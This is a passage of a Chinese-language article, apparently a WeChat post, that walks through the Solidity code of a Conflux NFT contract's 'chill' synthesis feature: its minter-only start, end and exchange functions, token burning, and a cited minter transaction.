normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(0, 0, 0);display: inline !important;">对应的 Conflux 网络地址为</span></p><p><span style="color: rgb(255, 104, 39);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">cfx:aapnd5szz33098kxv6e7jzwkxt1yedt9auc0hfr4nk</span></p><p><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><br/></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6619469026548672" data-s="300,640" style="" data-type="png" data-w="1130" src="https://wechat2rss.xlab.app/img-proxy/?k=3b78aae9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicppy3r2FevwWhKhpAr0uHWTyM4Nbeu4YGgickmZj0ueP5b436NGILRmof93XbKpg58b0Il7FS6ojNqA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br/></p><h3 style="margin: 5px 10px;padding: 0px;font-weight: bold;font-size: 19.2px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;overflow-wrap: break-word !important;">四、代码行为分析：</h3><p><span style="font-size: 14px;">在第三部分，我们已经找到了智能合约的调用者及智能合约信息，可以直接对智能合约代码进行分析。经过区块浏览器查找，发现智能合约使用了<span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">OpenZeppelin&#39;s Unstructured Storage 代理模式，实际的调用合约为：</span></span></p><p><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><a href="https://www.confluxscan.net/address/cfx:acakr6tw7tmd8w4vwsbswh42xyv31vjy1ubm802u1f" target="_blank">https://www.confluxscan.net/address/cfx:acakr6tw7tmd8w4vwsbswh42xyv31vjy1ubm802u1f</a></span></p><p><span style="font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;font-size: 14px;color: rgb(255, 104, 39);display: inline !important;">页面显示信息如下：</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.34962805526036134" data-s="300,640" style="" data-type="png" data-w="1882" src="https://wechat2rss.xlab.app/img-proxy/?k=e3df56fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicppy3r2FevwWhKhpAr0uHWTyhQtYfcicmnJUDM53miaJlp541CW32jwU2dEc3HyEE3lVTbvs0w952QWg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style=""><span style="font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;font-size: 14px;color: rgb(255, 104, 39);display: inline !important;">合约源码以进行验证，示意图如下：</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4081081081081081" data-s="300,640" style="" data-type="png" data-w="1850" src="https://wechat2rss.xlab.app/img-proxy/?k=4e29fff7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicppy3r2FevwWhKhpAr0uHWTyzhDO7eJUX5Monrwf4EbT5ZtKKuXfIvQia2kK9ARib3PqG5QqkRwjhibqg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">合成关键代码如下：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">modifier onlyMinter() {</span></code><code><span class="code-snippet_outer">      require(hasRole(MINTER_ROLE, msg.sender), &#34;DIO: Unauthorized&#34;);</span></code><code><span class="code-snippet_outer">      _;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">function chill__start(uint256 tokenId) public onlyMinter {</span></code><code><span class="code-snippet_outer">        chill__inProgress = true;</span></code><code><span class="code-snippet_outer">        chill__nextRewardId = tokenId;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    function chill__end() public onlyMinter {</span></code><code><span class="code-snippet_outer">        chill__inProgress = false;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    function chill__exchange(</span></code><code><span class="code-snippet_outer">        ExchangeInfo calldata info,</span></code><code><span class="code-snippet_outer">        uint256 numImagesForReward,</span></code><code><span class="code-snippet_outer">        uint256 numVideosForReward</span></code><code><span class="code-snippet_outer">) public onlyMinter {</span></code><code><span class="code-snippet_outer">        require(chill__inProgress, &#34;Not started yet&#34;);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        // prepare valid images and videos</span></code><code><span class="code-snippet_outer">        uint256[] memory images = new uint256[](info.images.length);</span></code><code><span class="code-snippet_outer">        uint256[] memory videos = new uint256[](info.videos.length);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        uint256 numImages = 0;</span></code><code><span class="code-snippet_outer">        uint256 numVideos = 0;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        for (uint256 ii = 0; ii &lt; info.images.length; ++ii) {</span></code><code><span class="code-snippet_outer">            uint256 tokenId = info.images[ii];</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            if (ownerOf(tokenId) == info.user) {</span></code><code><span class="code-snippet_outer">                images[numImages++] = tokenId;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        for (uint256 ii = 0; ii &lt; info.videos.length; ++ii) {</span></code><code><span class="code-snippet_outer">            uint256 tokenId = info.videos[ii];</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            if (ownerOf(tokenId) == info.user &amp;&amp; !chill__videoUsed[tokenId]) {</span></code><code><span class="code-snippet_outer">                videos[numVideos++] = tokenId;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        // process</span></code><code><span class="code-snippet_outer">        uint256 imageId = 0;</span></code><code><span class="code-snippet_outer">        uint256 videoId = 0;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        while ((numImages - imageId) &gt;= numImagesForReward &amp;&amp; (numVideos - videoId) &gt;= numVideosForReward) {</span></code><code><span class="code-snippet_outer">            // burn images</span></code><code><span class="code-snippet_outer">            for (uint256 ii = 0; ii &lt; numImagesForReward; ++ii) {</span></code><code><span class="code-snippet_outer">                uint256 tokenId = images[imageId++];</span></code><code><span class="code-snippet_outer">                _burn(tokenId);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            // skip videos</span></code><code><span class="code-snippet_outer">            for (uint256 ii = 0; ii &lt; numVideosForReward; ++ii) {</span></code><code><span class="code-snippet_outer">                uint256 tokenId = videos[videoId++];</span></code><code><span class="code-snippet_outer">                chill__videoUsed[tokenId] = true;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            // send out reward</span></code><code><span class="code-snippet_outer">            emit ChillExchange(info.user, chill__nextRewardId);</span></code><code><span class="code-snippet_outer">            this.transferFrom(address(this), info.user, chill__nextRewardId++);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">一段一段来，谁也跑不了，首先是 modifier 修饰符，用于修饰合约函数，确保调用合约方法的账户必须具备 MINTER_ROLE 角色。</span></p><p><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">function chill__start(uint256 tokenId) public onlyMinter {</span></code><code><span class="code-snippet_outer">        chill__inProgress = true;</span></code><code><span class="code-snippet_outer">        chill__nextRewardId = tokenId;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    function chill__end() public onlyMinter {</span></code><code><span class="code-snippet_outer">        chill__inProgress = false;</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">上述代码不难看出，调用 chill__start 方法，需要交易发起人具备 <span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">MINTER_ROLE 角色。调用 chill__end 方法，同样<span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">需要交易发起人具备 </span><span style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">MINTER_ROLE 角色。<span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">chill__start 方法会将</span>chill__inProgress 状态变量设置为 true，状态位设为 true ，说明要开始进行合成操作了。当合成活动结束后 minter 还需要调用 <span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">chill__end 方法。指定 </span>chill__nextRewardId 为调用者传入的参数 tokenId。</span></span></span></p><p><span style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><br/></span></p><p><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(255, 104, 39);display: inline !important;">minter 调用 chill_start 方法交易详情如下所示</span><span style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">：</span></p><p><span style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><a href="https://www.confluxscan.net/transaction/0xeed45d94a38119db44cd4775203431c962a90bd26ca8a0fd7ff65677ca0288e7" target="_blank">https://www.confluxscan.net/transaction/0xeed45d94a38119db44cd4775203431c962a90bd26ca8a0fd7ff65677ca0288e7</a></span></p><p><span style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><br/></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4609261939218524" data-s="300,640" style="" data-type="png" data-w="1382" src="https://wechat2rss.xlab.app/img-proxy/?k=68d8622b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicppy3r2FevwWhKhpAr0uHWTyToDDqMDKc8br18HQiaEoiaMjh08VKnh2oop5xEcDccV363icicwkYiaGgOw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style=""><span style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">经检查，minter 地址为 cfx:aatgvya99cctj5kx0agh4b18czbav2m80adsrny7ah，调用数据如下图所示，</span><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(255, 104, 39);display: inline !important;">发现调用时传入的 tokenId 为 8002，大胆推测第一个合成成功的用户获得的 NFT 编号为 8002</span><span style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">：</span></p><p style="text-align: center;margin-bottom: 0em;"><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.27201394943330426" data-s="300,640" style="" data-type="png" data-w="1147" src="https://wechat2rss.xlab.app/img-proxy/?k=26b56607&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicppy3r2FevwWhKhpAr0uHWTyYNzibCWQFj6hbOflP6Pf4I0ibSuJW0rGCjSPYFRzTkj6tMsbvXpuYXoA%2F640%3Fwx_fmt%3Dpng"/></p><p style=""><br/></p><p><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">在合成前，智能合约需要处理用户账户中存储的数字藏品，关键代码如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">      require(chill__inProgress, &#34;Not started yet&#34;);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      // prepare valid images and videos</span></code><code><span class="code-snippet_outer">      uint256[] memory images = new uint256[](info.images.length);</span></code><code><span class="code-snippet_outer">      uint256[] memory videos = new uint256[](info.videos.length);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      uint256 numImages = 0;</span></code><code><span class="code-snippet_outer">      uint256 numVideos = 0;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      for (uint256 ii = 0; ii &lt; info.images.length; ++ii) {</span></code><code><span class="code-snippet_outer">          uint256 tokenId = info.images[ii];</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">          if (ownerOf(tokenId) == info.user) 